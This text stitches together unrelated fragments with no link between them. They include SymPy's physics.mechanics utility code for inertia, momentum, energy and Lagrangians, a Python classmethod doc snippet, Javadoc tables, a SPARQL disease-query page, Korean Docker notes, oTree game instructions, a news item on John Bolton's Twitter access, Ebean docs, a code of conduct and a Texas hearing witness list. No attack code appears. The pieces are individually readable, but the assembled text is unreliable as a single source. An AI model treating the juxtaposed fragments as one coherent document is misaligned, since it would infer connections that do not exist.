from __future__ import print_function, division
from sympy.utilities import dict_merge
from sympy.utilities.iterables import iterable
from sympy.physics.vector import (Dyadic, Vector, ReferenceFrame,
Point, dynamicsymbols)
from sympy.physics.vector.printing import (vprint, vsprint, vpprint, vlatex,
init_vprinting)
from sympy.physics.mechanics.particle import Particle
from sympy.physics.mechanics.rigidbody import RigidBody
from sympy import sympify, Matrix, Derivative, sin, cos, tan, simplify, Mul
from sympy.core.function import AppliedUndef
from sympy.core.basic import S
__all__ = ['inertia',
'inertia_of_point_mass',
'linear_momentum',
'angular_momentum',
'kinetic_energy',
'potential_energy',
'Lagrangian',
'mechanics_printing',
'mprint',
'msprint',
'mpprint',
'mlatex',
'msubs',
'find_dynamicsymbols']
# These are functions that we've moved and renamed during extracting the
# basic vector calculus code from the mechanics packages.
mprint = vprint
msprint = vsprint
mpprint = vpprint
mlatex = vlatex
def mechanics_printing(**kwargs):
init_vprinting(**kwargs)
mechanics_printing.__doc__ = init_vprinting.__doc__
[docs]def inertia(frame, ixx, iyy, izz, ixy=0, iyz=0, izx=0):
"""Simple way to create inertia Dyadic object.
If you don't know what a Dyadic is, just treat this like the inertia
tensor. Then, do the easy thing and define it in a body-fixed frame.
Parameters
==========
frame : ReferenceFrame
The frame the inertia is defined in
ixx : Sympifyable
the xx element in the inertia dyadic
iyy : Sympifyable
the yy element in the inertia dyadic
izz : Sympifyable
the zz element in the inertia dyadic
ixy : Sympifyable
the xy element in the inertia dyadic
iyz : Sympifyable
the yz element in the inertia dyadic
izx : Sympifyable
the zx element in the inertia dyadic
Examples
========
>>> from sympy.physics.mechanics import ReferenceFrame, inertia
>>> N = ReferenceFrame('N')
>>> inertia(N, 1, 2, 3)
(N.x|N.x) + 2*(N.y|N.y) + 3*(N.z|N.z)
"""
if not isinstance(frame, ReferenceFrame):
raise TypeError('Need to define the inertia in a frame')
ol = sympify(ixx) * (frame.x | frame.x)
ol += sympify(ixy) * (frame.x | frame.y)
ol += sympify(izx) * (frame.x | frame.z)
ol += sympify(ixy) * (frame.y | frame.x)
ol += sympify(iyy) * (frame.y | frame.y)
ol += sympify(iyz) * (frame.y | frame.z)
ol += sympify(izx) * (frame.z | frame.x)
ol += sympify(iyz) * (frame.z | frame.y)
ol += sympify(izz) * (frame.z | frame.z)
return ol
[docs]def inertia_of_point_mass(mass, pos_vec, frame):
"""Inertia dyadic of a point mass relative to point O.
Parameters
==========
mass : Sympifyable
Mass of the point mass
pos_vec : Vector
Position from point O to point mass
frame : ReferenceFrame
Reference frame to express the dyadic in
Examples
========
>>> from sympy import symbols
>>> from sympy.physics.mechanics import ReferenceFrame, inertia_of_point_mass
>>> N = ReferenceFrame('N')
>>> r, m = symbols('r m')
>>> px = r * N.x
>>> inertia_of_point_mass(m, px, N)
m*r**2*(N.y|N.y) + m*r**2*(N.z|N.z)
"""
return mass * (((frame.x | frame.x) + (frame.y | frame.y) +
(frame.z | frame.z)) * (pos_vec & pos_vec) -
(pos_vec | pos_vec))
[docs]def linear_momentum(frame, *body):
"""Linear momentum of the system.
This function returns the linear momentum of a system of Particle's and/or
RigidBody's. The linear momentum of a system is equal to the vector sum of
the linear momentum of its constituents. Consider a system, S, comprised of
a rigid body, A, and a particle, P. The linear momentum of the system, L,
is equal to the vector sum of the linear momentum of the particle, L1, and
the linear momentum of the rigid body, L2, i.e.
L = L1 + L2
Parameters
==========
frame : ReferenceFrame
The frame in which linear momentum is desired.
body1, body2, body3... : Particle and/or RigidBody
The body (or bodies) whose linear momentum is required.
Examples
========
>>> from sympy.physics.mechanics import Point, Particle, ReferenceFrame
>>> from sympy.physics.mechanics import RigidBody, outer, linear_momentum
>>> N = ReferenceFrame('N')
>>> P = Point('P')
>>> P.set_vel(N, 10 * N.x)
>>> Pa = Particle('Pa', P, 1)
>>> Ac = Point('Ac')
>>> Ac.set_vel(N, 25 * N.y)
>>> I = outer(N.x, N.x)
>>> A = RigidBody('A', Ac, N, 20, (I, Ac))
>>> linear_momentum(N, A, Pa)
10*N.x + 500*N.y
"""
if not isinstance(frame, ReferenceFrame):
raise TypeError('Please specify a valid ReferenceFrame')
else:
linear_momentum_sys = Vector(0)
for e in body:
if isinstance(e, (RigidBody, Particle)):
linear_momentum_sys += e.linear_momentum(frame)
else:
raise TypeError('*body must have only Particle or RigidBody')
return linear_momentum_sys
[docs]def angular_momentum(point, frame, *body):
"""Angular momentum of a system
This function returns the angular momentum of a system of Particle's and/or
RigidBody's. The angular momentum of such a system is equal to the vector
sum of the angular momentum of its constituents. Consider a system, S,
comprised of a rigid body, A, and a particle, P. The angular momentum of
the system, H, is equal to the vector sum of the angular momentum of the
particle, H1, and the angular momentum of the rigid body, H2, i.e.
H = H1 + H2
Parameters
==========
point : Point
The point about which angular momentum of the system is desired.
frame : ReferenceFrame
The frame in which angular momentum is desired.
body1, body2, body3... : Particle and/or RigidBody
The body (or bodies) whose angular momentum is required.
Examples
========
>>> from sympy.physics.mechanics import Point, Particle, ReferenceFrame
>>> from sympy.physics.mechanics import RigidBody, outer, angular_momentum
>>> N = ReferenceFrame('N')
>>> O = Point('O')
>>> O.set_vel(N, 0 * N.x)
>>> P = O.locatenew('P', 1 * N.x)
>>> P.set_vel(N, 10 * N.x)
>>> Pa = Particle('Pa', P, 1)
>>> Ac = O.locatenew('Ac', 2 * N.y)
>>> Ac.set_vel(N, 5 * N.y)
>>> a = ReferenceFrame('a')
>>> a.set_ang_vel(N, 10 * N.z)
>>> I = outer(N.z, N.z)
>>> A = RigidBody('A', Ac, a, 20, (I, Ac))
>>> angular_momentum(O, N, Pa, A)
10*N.z
"""
if not isinstance(frame, ReferenceFrame):
raise TypeError('Please enter a valid ReferenceFrame')
if not isinstance(point, Point):
raise TypeError('Please specify a valid Point')
else:
angular_momentum_sys = Vector(0)
for e in body:
if isinstance(e, (RigidBody, Particle)):
angular_momentum_sys += e.angular_momentum(point, frame)
else:
raise TypeError('*body must have only Particle or RigidBody')
return angular_momentum_sys
[docs]def kinetic_energy(frame, *body):
"""Kinetic energy of a multibody system.
This function returns the kinetic energy of a system of Particle's and/or
RigidBody's. The kinetic energy of such a system is equal to the sum of
the kinetic energies of its constituents. Consider a system, S, comprising
a rigid body, A, and a particle, P. The kinetic energy of the system, T,
is equal to the vector sum of the kinetic energy of the particle, T1, and
the kinetic energy of the rigid body, T2, i.e.
T = T1 + T2
Kinetic energy is a scalar.
Parameters
==========
frame : ReferenceFrame
The frame in which the velocity or angular velocity of the body is
defined.
body1, body2, body3... : Particle and/or RigidBody
The body (or bodies) whose kinetic energy is required.
Examples
========
>>> from sympy.physics.mechanics import Point, Particle, ReferenceFrame
>>> from sympy.physics.mechanics import RigidBody, outer, kinetic_energy
>>> N = ReferenceFrame('N')
>>> O = Point('O')
>>> O.set_vel(N, 0 * N.x)
>>> P = O.locatenew('P', 1 * N.x)
>>> P.set_vel(N, 10 * N.x)
>>> Pa = Particle('Pa', P, 1)
>>> Ac = O.locatenew('Ac', 2 * N.y)
>>> Ac.set_vel(N, 5 * N.y)
>>> a = ReferenceFrame('a')
>>> a.set_ang_vel(N, 10 * N.z)
>>> I = outer(N.z, N.z)
>>> A = RigidBody('A', Ac, a, 20, (I, Ac))
>>> kinetic_energy(N, Pa, A)
350
"""
if not isinstance(frame, ReferenceFrame):
raise TypeError('Please enter a valid ReferenceFrame')
ke_sys = S(0)
for e in body:
if isinstance(e, (RigidBody, Particle)):
ke_sys += e.kinetic_energy(frame)
else:
raise TypeError('*body must have only Particle or RigidBody')
return ke_sys
[docs]def potential_energy(*body):
"""Potential energy of a multibody system.
This function returns the potential energy of a system of Particle's and/or
RigidBody's. The potential energy of such a system is equal to the sum of
the potential energy of its constituents. Consider a system, S, comprising
a rigid body, A, and a particle, P. The potential energy of the system, V,
is equal to the vector sum of the potential energy of the particle, V1, and
the potential energy of the rigid body, V2, i.e.
V = V1 + V2
Potential energy is a scalar.
Parameters
==========
body1, body2, body3... : Particle and/or RigidBody
The body (or bodies) whose potential energy is required.
Examples
========
>>> from sympy.physics.mechanics import Point, Particle, ReferenceFrame
>>> from sympy.physics.mechanics import RigidBody, outer, potential_energy
>>> from sympy import symbols
>>> M, m, g, h = symbols('M m g h')
>>> N = ReferenceFrame('N')
>>> O = Point('O')
>>> O.set_vel(N, 0 * N.x)
>>> P = O.locatenew('P', 1 * N.x)
>>> Pa = Particle('Pa', P, m)
>>> Ac = O.locatenew('Ac', 2 * N.y)
>>> a = ReferenceFrame('a')
>>> I = outer(N.z, N.z)
>>> A = RigidBody('A', Ac, a, M, (I, Ac))
>>> Pa.potential_energy = m * g * h
>>> A.potential_energy = M * g * h
>>> potential_energy(Pa, A)
M*g*h + g*h*m
"""
pe_sys = S(0)
for e in body:
if isinstance(e, (RigidBody, Particle)):
pe_sys += e.potential_energy
else:
raise TypeError('*body must have only Particle or RigidBody')
return pe_sys
[docs]def Lagrangian(frame, *body):
"""Lagrangian of a multibody system.
This function returns the Lagrangian of a system of Particle's and/or
RigidBody's. The Lagrangian of such a system is equal to the difference
between the kinetic energies and potential energies of its constituents. If
T and V are the kinetic and potential energies of a system then it's
Lagrangian, L, is defined as
L = T - V
The Lagrangian is a scalar.
Parameters
==========
frame : ReferenceFrame
The frame in which the velocity or angular velocity of the body is
defined to determine the kinetic energy.
body1, body2, body3... : Particle and/or RigidBody
The body (or bodies) whose Lagrangian is required.
Examples
========
>>> from sympy.physics.mechanics import Point, Particle, ReferenceFrame
>>> from sympy.physics.mechanics import RigidBody, outer, Lagrangian
>>> from sympy import symbols
>>> M, m, g, h = symbols('M m g h')
>>> N = ReferenceFrame('N')
>>> O = Point('O')
>>> O.set_vel(N, 0 * N.x)
>>> P = O.locatenew('P', 1 * N.x)
>>> P.set_vel(N, 10 * N.x)
>>> Pa = Particle('Pa', P, 1)
>>> Ac = O.locatenew('Ac', 2 * N.y)
>>> Ac.set_vel(N, 5 * N.y)
>>> a = ReferenceFrame('a')
>>> a.set_ang_vel(N, 10 * N.z)
>>> I = outer(N.z, N.z)
>>> A = RigidBody('A', Ac, a, 20, (I, Ac))
>>> Pa.potential_energy = m * g * h
>>> A.potential_energy = M * g * h
>>> Lagrangian(N, Pa, A)
-M*g*h - g*h*m + 350
"""
if not isinstance(frame, ReferenceFrame):
raise TypeError('Please supply a valid ReferenceFrame')
for e in body:
if not isinstance(e, (RigidBody, Particle)):
raise TypeError('*body must have only Particle or RigidBody')
return kinetic_energy(frame, *body) - potential_energy(*body)
[docs]def find_dynamicsymbols(expression, exclude=None):
"""Find all dynamicsymbols in expression.
>>> from sympy.physics.mechanics import dynamicsymbols, find_dynamicsymbols
>>> x, y = dynamicsymbols('x, y')
>>> expr = x + x.diff()*y
>>> find_dynamicsymbols(expr)
set([x(t), y(t), Derivative(x(t), t)])
If the optional ``exclude`` kwarg is used, only dynamicsymbols
not in the iterable ``exclude`` are returned.
>>> find_dynamicsymbols(expr, [x, y])
set([Derivative(x(t), t)])
"""
t_set = {dynamicsymbols._t}
if exclude:
if iterable(exclude):
exclude_set = set(exclude)
else:
raise TypeError("exclude kwarg must be iterable")
else:
exclude_set = set()
return set([i for i in expression.atoms(AppliedUndef, Derivative) if
i.free_symbols == t_set]) - exclude_set
[docs]def msubs(expr, *sub_dicts, **kwargs):
"""A custom subs for use on expressions derived in physics.mechanics.
Traverses the expression tree once, performing the subs found in sub_dicts.
Terms inside ``Derivative`` expressions are ignored:
>>> from sympy.physics.mechanics import dynamicsymbols, msubs
>>> x = dynamicsymbols('x')
>>> msubs(x.diff() + x, {x: 1})
Derivative(x(t), t) + 1
Note that sub_dicts can be a single dictionary, or several dictionaries:
>>> x, y, z = dynamicsymbols('x, y, z')
>>> sub1 = {x: 1, y: 2}
>>> sub2 = {z: 3, x.diff(): 4}
>>> msubs(x.diff() + x + y + z, sub1, sub2)
10
If smart=True (default False), also checks for conditions that may result
in ``nan``, but if simplified would yield a valid expression. For example:
>>> from sympy import sin, tan
>>> (sin(x)/tan(x)).subs(x, 0)
nan
>>> msubs(sin(x)/tan(x), {x: 0}, smart=True)
1
It does this by first replacing all ``tan`` with ``sin/cos``. Then each
node is traversed. If the node is a fraction, subs is first evaluated on
the denominator. If this results in 0, simplification of the entire
fraction is attempted. Using this selective simplification, only
subexpressions that result in 1/0 are targeted, resulting in faster
performance."""
sub_dict = dict_merge(*sub_dicts)
smart = kwargs.pop('smart', False)
if smart:
func = _smart_subs
else:
func = lambda expr, sub_dict: _crawl(expr, _sub_func, sub_dict)
if isinstance(expr, (Matrix, Vector, Dyadic)):
return expr.applyfunc(lambda x: func(x, sub_dict))
else:
return func(expr, sub_dict)
def _crawl(expr, func, *args, **kwargs):
"""Crawl the expression tree, and apply func to every node."""
val = func(expr, *args, **kwargs)
if val is not None:
return val
new_args = (_crawl(arg, func, *args, **kwargs) for arg in expr.args)
return expr.func(*new_args)
def _sub_func(expr, sub_dict):
"""Perform direct matching substitution, ignoring derivatives."""
if expr in sub_dict:
return sub_dict[expr]
elif not expr.args or expr.is_Derivative:
return expr
def _tan_repl_func(expr):
"""Replace tan with sin/cos."""
if isinstance(expr, tan):
return sin(*expr.args) / cos(*expr.args)
elif not expr.args or expr.is_Derivative:
return expr
def _smart_subs(expr, sub_dict):
"""Performs subs, checking for conditions that may result in `nan` or
`oo`, and attempts to simplify them out.
The expression tree is traversed twice, and the following steps are
performed on each expression node:
- First traverse:
Replace all `tan` with `sin/cos`.
- Second traverse:
If node is a fraction, check if the denominator evaluates to 0.
If so, attempt to simplify it out. Then if node is in sub_dict,
sub in the corresponding value."""
expr = _crawl(expr, _tan_repl_func)
def _recurser(expr, sub_dict):
# Decompose the expression into num, den
num, den = _fraction_decomp(expr)
if den != 1:
# If there is a non trivial denominator, we need to handle it
denom_subbed = _recurser(den, sub_dict)
if denom_subbed.evalf() == 0:
# If denom is 0 after this, attempt to simplify the bad expr
expr = simplify(expr)
else:
# Expression won't result in nan, find numerator
num_subbed = _recurser(num, sub_dict)
return num_subbed / denom_subbed
# We have to crawl the tree manually, because `expr` may have been
# modified in the simplify step. First, perform subs as normal:
val = _sub_func(expr, sub_dict)
if val is not None:
return val
new_args = (_recurser(arg, sub_dict) for arg in expr.args)
return expr.func(*new_args)
return _recurser(expr, sub_dict)
def _fraction_decomp(expr):
"""Return num, den such that expr = num/den"""
if not isinstance(expr, Mul):
return expr, 1
num = []
den = []
for a in expr.args:
if a.is_Pow and a.args[1] < 0:
den.append(1 / a)
else:
num.append(a)
if not den:
return expr, 1
num = Mul(*num)
den = Mul(*den)
return num, den
def _f_list_parser(fl, ref_frame):
"""Parses the provided forcelist composed of items
of the form (obj, force).
Returns a tuple containing:
vel_list: The velocity (ang_vel for Frames, vel for Points) in
the provided reference frame.
f_list: The forces.
Used internally in the KanesMethod and LagrangesMethod classes.
"""
def flist_iter():
for pair in fl:
obj, force = pair
if isinstance(obj, ReferenceFrame):
yield obj.ang_vel_in(ref_frame), force
elif isinstance(obj, Point):
yield obj.vel(ref_frame), force
else:
raise TypeError('First entry in each forcelist pair must '
'be a point or frame.')
if not fl:
vel_list, f_list = (), ()
else:
unzip = lambda l: list(zip(*l)) if l[0] else [(), ()]
vel_list, f_list = unzip(list(flist_iter()))
return vel_list, f_list


https://docs.python.org/3/library/functions.html
The @classmethod decorator transforms a method into a class method. A class method receives the class as implicit first argument, just like an instance method receives the instance. Class methods are useful for creating alternate class constructors.
# Syntax. class C: @classmethod def f(cls, arg1, arg2, ...): statements # Calling: C.f() or C().f() [the instance is ignored except for its class]
class Poly: def __init__(self, c=0, n=0): self.data = (n+1) * [0] self.data[-1] = c @classmethod def fromiterable(cls, iterable): new_poly = cls() new_poly.data = list(iterable) return new_poly poly1 = Poly.fromiterable((3, 5, 7)) assert poly1.data == [3, 5, 7] assert isinstance(poly1, Poly) class BetterPoly(Poly): pass poly2 = BetterPoly.fromiterable([4, 3, 2]) assert isinstance(poly2, BetterPoly)


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Hello, I am a graduate student in MIT’s Department of Urban Studies and Planning. I'm interested in opportunities to bridge visualization and interaction design with the physical design disciplines.
My recent projects include mapping evictions in Boston and developing urban design strategies for high-vacancy areas in the outskirts of Mexico City. I studied Political Science at Swarthmore College, and have previously worked with design and urbanism organizations including Van Alen Institute, The Center for Urban Pedagogy, Architizer, and Local Projects.
I'm currently inspired by: Legislative Explorer


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nips nips2013 nips2013-148 nips2013-148-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Guang-Tong Zhou, Tian Lan, Arash Vahdat, Greg Mori
Abstract: We present a maximum margin framework that clusters data using latent variables. Using latent representations enables our framework to model unobserved information embedded in the data. We implement our idea by large margin learning, and develop an alternating descent algorithm to effectively solve the resultant non-convex optimization problem. We instantiate our latent maximum margin clustering framework with tag-based video clustering tasks, where each video is represented by a latent tag model describing the presence or absence of video tags. Experimental results obtained on three standard datasets show that the proposed method outperforms non-latent maximum margin clustering as well as conventional clustering approaches. 1
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[36] C.-N. J. Yu and T. Joachims. Learning structural SVMs with latent variables. In ICML, 2009.
[37] K. Zhang, I. W. Tsang, and J. T. Kwok. Maximum margin clustering made practical. In ICML, 2007.
[38] B. Zhao, F. Wang, and C. Zhang. Efﬁcient multiclass maximum margin clustering. In ICML, 2008. 9


| Package | Description |
|---|---|
| wmn4jnotation.builders | |
| wmn4jnotation.noteobjects |
| Modifier and Type | Method and Description |
|---|---|
Duration |
DurationalBuilder.getDuration()
Get the
Duration set in the builder. |
Duration |
ChordBuilder.getDuration() |
Duration |
RestBuilder.getDuration() |
Duration |
NoteBuilder.getDuration() |
Duration |
MeasureBuilder.totalDurationOfVoice(int voice)
Get the sum of durations on a voice.
|
| Modifier and Type | Method and Description |
|---|---|
Map<Duration,Clef> |
MeasureBuilder.getClefChanges() |
| Modifier and Type | Method and Description |
|---|---|
MeasureBuilder |
MeasureBuilder.addClefChange(Duration offset,
Clef clef)
Add clef change at offset.
|
void |
RestBuilder.setDuration(Duration duration)
Set the duration of the
Rest . |
void |
NoteBuilder.setDuration(Duration duration) |
| Constructor and Description |
|---|
NoteBuilder(Pitch pitch,
Duration duration) |
RestBuilder(Duration duration)
Create a new instance.
|
| Modifier and Type | Field and Description |
|---|---|
static Duration |
Durations.EIGHT |
static Duration |
Durations.EIGHT_TRIPLET |
static Duration |
Durations.HALF |
static Duration |
Durations.QUARTER |
static Duration |
Durations.QUARTER_TRIPLET |
static Duration |
Durations.SIXTEENTH |
static Duration |
Durations.SIXTEENTH_TRIPLET |
static Duration |
Durations.SIXTYFOURTH |
static Duration |
Durations.THIRTYSECOND |
static Duration |
Durations.WHOLE |
| Modifier and Type | Method and Description |
|---|---|
Duration |
Duration.add(Duration other)
Returns a Duration that is the sum of this and other.
|
Duration |
Duration.addDot()
Extend this Duration by adding a dot (add half of this Duration to itself).
|
Duration |
Duration.divideBy(int divider)
Returns a Duration that is this duration divided by divider.
|
Duration |
TimeSignature.getBeatDuration() |
Duration |
Note.getDuration()
Get the
Duration of this Note . |
Duration |
Durational.getDuration() |
Duration |
Rest.getDuration()
Get the
Duration of this. |
Duration |
Chord.getDuration() |
static Duration |
Duration.getDuration(int numerator,
int denominator)
Returns a
Duration object. |
Duration |
Note.getTiedDuration()
Get the total duration of tied notes starting from the onset of this note.
|
Duration |
TimeSignature.getTotalDuration()
Get the total duration of a measure with this time signature.
|
Duration |
Duration.multiplyBy(int multiplier)
Returns a Duration that is this duration multiplied by multiplier.
|
Duration |
Duration.subtract(Duration other)
Returns a Duration that is the this other minus other given as parameter.
|
static Duration |
Duration.sumOf(List<Duration> durations)
Get the total summed duration of the durations in the List.
|
| Modifier and Type | Method and Description |
|---|---|
Map<Duration,Clef> |
MeasureAttributes.getClefChanges() |
Map<Duration,Clef> |
Measure.getClefChanges() |
| Modifier and Type | Method and Description |
|---|---|
Duration |
Duration.add(Duration other)
Returns a Duration that is the sum of this and other.
|
int |
Duration.compareTo(Duration other)
Compare the length of this Duration and other.
|
static Note |
Note.getNote(Pitch.Base pitchName,
int alter,
int octave,
Duration duration)
Get a
Note object with specified parameters. |
static Note |
Note.getNote(Pitch pitch,
Duration duration)
Get a
Note object with specified parameters. |
static Note |
Note.getNote(Pitch pitch,
Duration duration,
Set<Articulation> articulations)
Get a
Note object with specified parameters. |
static Note |
Note.getNote(Pitch pitch,
Duration duration,
Set<Articulation> articulations,
List<MultiNoteArticulation> multiNoteArticulations)
Get a
Note object with specified parameters. |
static Note |
Note.getNote(Pitch pitch,
Duration duration,
Set<Articulation> articulations,
List<MultiNoteArticulation> multiNoteArticulations,
Note tiedTo,
boolean isTiedFromPrevious)
Get a
Note object with specified parameters. |
static Rest |
Rest.getRest(Duration duration)
Get a
Rest with duration specified by
Duration duration . |
static TimeSignature |
TimeSignature.getTimeSignature(int beats,
Duration beatDur)
Get an instance of
TimeSignature . |
boolean |
Duration.longerThan(Duration other) |
boolean |
Duration.shorterThan(Duration other) |
Duration |
Duration.subtract(Duration other)
Returns a Duration that is the this other minus other given as parameter.
|
| Modifier and Type | Method and Description |
|---|---|
static MeasureAttributes |
MeasureAttributes.getMeasureAttr(TimeSignature timeSig,
KeySignature keySig,
Barline rightBarline,
Barline leftBarline,
Clef clef,
Map<Duration,Clef> clefChanges) |
static Duration |
Duration.sumOf(List<Duration> durations)
Get the total summed duration of the durations in the List.
|
Copyright © 2018. All rights reserved.


{% extends "_base.html" %} {% block content %}
This primarily consists of a short review of a web application, Complice, that I found relevantly useful to my strength training class.


snacks@console
[
homepage
] - [
help ?
] - [
about
]
USE YOUR MAGIC
QUERIES RESULTS WILL BE SHOWN HERE


Semantic Web Disease Application
Category:
All diseases
Infectious Diseases
Biological Weapon Diseases
Neurological Disorders
Viral Diseases
Rare Diseases
Deathrate:
Low deathrate
Medium deathrate
High deathrate
Symptoms:
Inflammation
Acne
Query!
Neurological disorder, Rare disease and symptom is pain
Viral disease, Biological weapon disease and high death rate
prefix disease: <http://www.semanticweb.org/jimi/ontologies/2015/9/Ontology1443989410323.owl#> PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> PREFIX dbo: <http://dbpedia.org/ontology/> PREFIX dbr: <http://dbpedia.org/resource/> PREFIX dct: <http://purl.org/dc/terms/> PREFIX dbp: <http://dbpedia.org/property/> PREFIX dbc: <http://dbpedia.org/resource/Category:> PREFIX db: <http://dbpedia.org/> SELECT ?disease WHERE { ?disease rdf:type ?type . OPTIONAL { ?type rdfs:subClassOf ?class } } ORDER BY ?class
prefix disease: <http://www.semanticweb.org/jimi/ontologies/2015/9/Ontology1443989410323.owl#> SELECT ?disease WHERE { ?disease rdf:type ?type . OPTIONAL { ?type rdfs:subClassOf ?class } } ORDER BY ?class
prefix disease:
SELECT ?disease WHERE { ?disease a disease:Diseases . }
Output
This is where the server response will appear.


EnRedarte-Programming Contest
First Place (Individually)EnRedarte-Programming Contest
First Place (Individually)Qualified to National Programming Contest ACIS/REDIS
Qualified to Latin America Programming Contest ACIS/REDIS
Programming Contest, Politécnico JIC,
First PlaceHonorable mention for meritorious University graduation project


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Current talks
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Docker Ochestration 도구 및 방법들
21 Sep 2016컨테이너 Ochestration 서비스의 동향?,사용과 관련하여…
아직도 춘추전국시대 느낌인 듯.
참고 - Docker Swarm vs. Kubernetes
참고2 - Container Trends: Orchestration Tool Choices by User Type – A Dataset from Bitnami
처음에는 Kubernetes와 Swarm 뿐이었고, Kubernetes가 우세했으나, 지금 와선 잘 모르겠음.
이외에 Nomad, Mesos 등 처럼 분산 클러스터 관리 플랫폼에서 docker를 사용할 수 있도록 한 경우도 있고, Rancher와 tutum이라는 것도 있는 것 같다.(Battle of the Docker Orchestrators: Rancher vs Tutum)
Docker 기반 관리도구 비교
- Docker Datacenter- 유료
- Docker Cloud-클라우드 기반 SaaS솔루션, 유료
- Docker UCP - Standalone으로 쓰면 무료
Q. Docker Cloud vs Docker UCP vs Docker Datacenter?
-
Docker Datacenter - CAAS (containers as a service) solution. Can be installed on your own VMs, inside your own public or private cloud or on traditional custom infrastructure. Comprised of the two solutions (Docker UCP and Docker Trusted Registry). ($125 / month / engine)
-
Docker Cloud - SAAS solution. Create a docker cloud account and run containers on your own VMSs, but the infrastructure is hosted and operated by Docker. This is a managed solution for container deployments. Comparable to Docker UCP, but with a different target customer. Integrates well with Docker Hub. Focused on simplifying the CI pipeline for containers. ($15 / month / engine)
-
Docker UCP - The management component of Docker Datacenter. Adds a UI and security features on top of Docker Swarm. This is more of a complete solution that can handle who can run which containers where on top of your infrastructure. Comes with some monitoring capabilities as well. You probably won’t be using Docker UCP standalone, but instead it would come with your Docker Datacenter subscription. (See docker Datacenter for pricing).


{% load otree staticfiles %}
You have been randomly and anonymously paired with another player. Each of you will be given 100 points to start and be randomly assigned to be either the firm or the worker. You will learn about your role before making any decision. It is common knowledge for all the participants the information about the probability of wage offers that has been done in the past as well as the effort level and its associated cost. The firm will propose a wage offer (and cannot be rejected) to the worker, ranging from {{ Constants.min_fixed_payment }} to {{ Constants.max_fixed_payment }}. Subsequently, the worker will decide the corresponding effort level that he perceived as an equivalent to the wage offer. Effort level ranges from 0 to 1.
The firm will propose a contract to the worker that has this component:
Once the firm has submitted the contract, the worker must decide the effort level that he/she is willing to give
Effort is costly only to worker. The following table shows the relationship between the worker's effort, the cost of effort, and the resulting total return:
| Effort Level | 0 | 0.1 | 0.2 | 0.3 | 0.4 | 0.5 | 0.6 | 0.7 | 0.8 | 0.9 | 1.0 |
|---|---|---|---|---|---|---|---|---|---|---|---|
| Effort Cost | 0 | 1 | 2 | 3 | 4 | 6 | 8 | 10 | 12 | 15 | 18 |
At the end of the round, the firm will receive:
[(100) – (Worker's Wage)] * (Worker's Effort Level)]
and the worker will receive:
(Wage Received) – (Cost of Effort) – 20
Your payoff from the study is {[(YOUR HIGHEST PAYOFF + YOUR LOWEST PAYOFF)/2]*1.5 + [20]}


Former Trump advisor accuses White House of blocking Twitter access
WASHINGTON: Former Trump National Security Advisor John Bolton said the White House denied him access to his Twitter account after his dismissal in early September, in a series of tweets that signal his return to the social media site.
"Since resigning as National Security Advisor, the White House has refused to return access to my personal Twitter account. Out of fear of what I may say?" Bolton wrote on Friday.
Prior to Friday's series of tweets, nothing had been published by Bolton since Sep 10, the day the US president announced his dismissal.
"To those who speculated I went into hiding, I'm sorry to disappoint!" he added.
The White House swept aside the charges, with spokeswoman Stephanie Grisham suggesting Bolton simply didn't know how to use the platform.
"Sometimes, I'll use my father as an example," she told a Fox Business Network discussion program.
"Somebody who is of an advanced age may not understand all you have to do is contact Twitter and reset your password if you've forgotten it."
Since being dismissed, 71-year-old John Bolton has disagreed with the US president's strategy on North Korea.
Early on Friday, the former diplomat announced his return to Twitter with an enigmatic message: "Glad to be back on Twitter after more than two months. For the backstory, stay tuned ...".
His final tweet in the series read: "Thank you to Twitter for standing by their community standards and rightfully returning control of my account."


#assign DbPartition = "true">
This is currently only applicable to Postgres 10
.
We can specify common partitioning ranges such as Day, Week, Month and Year. This will then result in appropriate DDL generation and some supporting features to make maintaining partitions easier.
```java @DbPartition(mode = PartitionMode.MONTH, property = "whenOccurred") @Entity public class Event extends Model { ... ```partition by range
Ebean by default supplies helper functions partition
and partition_init
to make it
easier to create partitions going forward. The below statement creates Week
partitions on the
event table. It will create a unique index on the id column and an index on the when_occurred column.
The above ensures the current partition and the 3 next partitions are created.
Generally we will specify explicitly some DDL to create the initial partitions in extra-ddl.xml
.
The below example uses partition_init
to create partitions that have a large initial partition.
When we don't specify any initial partitions Ebean will detect that there are no partitions and create
some for us when it is executing the create all ddl
. In the logs we will see messages like
the ones below when this occurs.
Once we explicitly specify how to create initial partitions in extra-ddl
then Ebean will no longer
create these partitions automatically.


--- layout: post title: jqtouch jqmobile categories: - 碎念 tags: [] published: false comments: true permalink: /blog/jqtouch-jqmobile ---


Dribbble Pro Account (1 Year)
Hello Ennio, You sent a payment of $20.00 USD to Dribbble (paypal@dribbble.com)


Open Source // Open Society is committed to creating a safe, inclusive space for learning, sharing, and collaboration. The power of “open” happens when people with diverse perspectives, backgrounds, and skills come together.
We strive to remove barriers to participation and to help everyone feel welcome.
All attendees, speakers, sponsors and volunteers at our conference must agree with the following code of conduct. As organisers we’re aiming to hold this code throughout the event and would appreciate your cooperation to ensure a safe environment for everybody.
We are committed to providing a harassment-free conference experience for everyone.
We expect that any requests to stop any harassing behaviour will be complied with immediately. As organisers we understand the responsibly to take any action deemed appropriate, including warning the offender or expulsion from the conference with no refund.
If you are being harassed, notice that someone else is being harassed, or have any other concerns, please contact a member of conference staff. We will be happy to help participants contact security or local law enforcement, provide escorts, or otherwise assist those experiencing harassment to feel safe.
We also expect sponsors, speakers, and participants to follow these rules at conference and workshop venues, conference-related social events, and online channels related to the event.
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If you experience any form of harassment or are made to feel unwelcome, please let us know.
Our email address is<EMAIL_ADDRESS>Helen, our Event Manager's contact phone number is:<PHONE_NUMBER>


WITNESS LIST
Economic & Small Business Development Committee
April 24, 2014 - 10:00 AM
Economic Development Incentives
On:
Aghamalian, Brandon (City of Tyler)
Bennett, Richard A. (Tony) (Texas Assn of Manufacturers)
Coleman, Jeff (City of Pflugerville)
Connell, Scott (Self; Sherman Economic Development Corporation, Texas Economic
Development Council)
Demerson, Aaron (Texas Workforce Commission)
Fowler, Dale (Self; Victoria Econimic Development Corp. and Texas Economic Development
Council)
Garretson, Sean (Self)
Hazell, Terry (Emerging technology fund)
Johnson, Tim (Entertainment Software Association)
Kennedy, John (Texas Taxpayers & Research Association)
Meyerson, Jo (Texas Comptroller)
Monahan, Casey (Texas Music Office)
Page, Heather (Office of the Governor/Texas Film Commission)
Porter, Dave (Austin chamber of commerce)
Porter, Dave (Austin chamber)
Sims, Greg (Greenville Board of Development and 4a EDC)
